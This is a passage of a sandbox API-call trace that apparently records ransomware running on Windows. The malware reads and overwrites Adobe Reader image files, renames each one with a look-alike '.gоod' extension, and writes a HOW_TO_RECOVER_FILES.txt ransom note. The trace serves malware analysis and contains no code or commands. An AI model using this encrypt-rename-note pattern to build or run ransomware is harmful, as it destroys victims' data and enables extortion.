lpBuffer=0x34b27a8*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0130.596] CloseHandle (hObject=0x618) returned 1 [0130.596] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png", lpFilePart=0x0) returned 0x91 [0130.596] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png.gоod", lpFilePart=0x0) returned 0x96 [0130.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0130.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4a0d9cbb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5fa6)) returned 1 [0130.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0130.596] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_highcontrast.png.gоod")) returned 1 [0130.597] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png", lpFilePart=0x0) returned 0xa2 [0130.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0130.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_bow.png"), fInfoLevelId=0x0, lpFileInformation=0x35db7c8 | out: lpFileInformation=0x35db7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3195)) returned 1 [0130.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0130.599] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png", lpFilePart=0x0) returned 0xa2 [0130.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0130.599] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0130.599] GetFileType (hFile=0x618) returned 0x1 [0130.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0130.599] GetFileType (hFile=0x618) returned 0x1 [0130.599] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0130.599] ReadFile (in: hFile=0x618, lpBuffer=0x35dbde0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x35dbde0*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0130.601] CloseHandle (hObject=0x618) returned 1 [0130.601] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png", lpFilePart=0x0) returned 0xa2 [0130.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0130.601] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0130.601] GetFileType (hFile=0x618) returned 0x1 [0130.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0130.601] GetFileType (hFile=0x618) returned 0x1 [0130.601] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x3195 [0130.601] WriteFile (in: hFile=0x618, lpBuffer=0x35dd278*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x35dd278*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0130.602] CloseHandle (hObject=0x618) returned 1 [0130.602] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png", lpFilePart=0x0) returned 0xa2 [0130.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0130.602] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0130.603] GetFileType (hFile=0x618) returned 0x1 [0130.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0130.603] GetFileType (hFile=0x618) returned 0x1 [0130.603] ReadFile (in: hFile=0x618, lpBuffer=0x35df670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x35df670*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0131.006] CloseHandle (hObject=0x618) returned 1 [0131.006] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png", lpFilePart=0x0) returned 0xa2 [0131.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0131.006] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0131.007] GetFileType (hFile=0x618) returned 0x1 [0131.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0131.007] GetFileType (hFile=0x618) returned 0x1 [0131.007] WriteFile (in: hFile=0x618, lpBuffer=0x3534af0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x3534af0*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0131.016] CloseHandle (hObject=0x618) returned 1 [0131.017] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png", lpFilePart=0x0) returned 0xa2 [0131.017] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png.gоod", lpFilePart=0x0) returned 0xa7 [0131.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0131.017] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_bow.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4a4dfd79, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x31a5)) returned 1 [0131.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0131.017] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_bow.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_bow.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_bow.png.gоod")) returned 1 [0131.018] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png", lpFilePart=0x0) returned 0xa2 [0131.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0131.018] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_wob.png"), fInfoLevelId=0x0, lpFileInformation=0x3640ee8 | out: lpFileInformation=0x3640ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3190)) returned 1 [0131.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0131.018] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png", lpFilePart=0x0) returned 0xa2 [0131.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0131.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0131.019] GetFileType (hFile=0x618) returned 0x1 [0131.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0131.019] GetFileType (hFile=0x618) returned 0x1 [0131.019] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0131.019] ReadFile (in: hFile=0x618, lpBuffer=0x3641500, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x3641500*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0131.021] CloseHandle (hObject=0x618) returned 1 [0131.021] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png", lpFilePart=0x0) returned 0xa2 [0131.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0131.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0131.022] GetFileType (hFile=0x618) returned 0x1 [0131.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0131.022] GetFileType (hFile=0x618) returned 0x1 [0131.022] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x3190 [0131.022] WriteFile (in: hFile=0x618, lpBuffer=0x3642898*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x3642898*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0131.024] CloseHandle (hObject=0x618) returned 1 [0131.024] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png", lpFilePart=0x0) returned 0xa2 [0131.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0131.025] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0131.025] GetFileType (hFile=0x618) returned 0x1 [0131.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0131.025] GetFileType (hFile=0x618) returned 0x1 [0131.025] ReadFile (in: hFile=0x618, lpBuffer=0x3644c58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x3644c58*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0131.581] CloseHandle (hObject=0x618) returned 1 [0131.581] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png", lpFilePart=0x0) returned 0xa2 [0131.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0131.581] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0131.581] GetFileType (hFile=0x618) returned 0x1 [0131.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0131.581] GetFileType (hFile=0x618) returned 0x1 [0131.581] WriteFile (in: hFile=0x618, lpBuffer=0x35980e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x35980e0*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0131.582] CloseHandle (hObject=0x618) returned 1 [0131.582] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png", lpFilePart=0x0) returned 0xa2 [0131.582] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png.gоod", lpFilePart=0x0) returned 0xa7 [0131.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0131.582] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_wob.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4aa3d145, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x31a0)) returned 1 [0131.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0131.582] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_wob.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highContrast_wob.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\aic_file_icons_retina_thumb_highcontrast_wob.png.gоod")) returned 1 [0131.583] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeaca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0131.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb1c0) returned 1 [0131.583] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\file_types\\hi_contrast\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0131.583] GetFileType (hFile=0x618) returned 0x1 [0131.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb130) returned 1 [0131.583] GetFileType (hFile=0x618) returned 0x1 [0131.584] WriteFile (in: hFile=0x618, lpBuffer=0x36ed4a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdeb288, lpOverlapped=0x0 | out: lpBuffer=0x36ed4a0*, lpNumberOfBytesWritten=0x1fdeb288*=0x5d0, lpOverlapped=0x0) returned 1 [0131.585] CloseHandle (hObject=0x618) returned 1 [0131.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 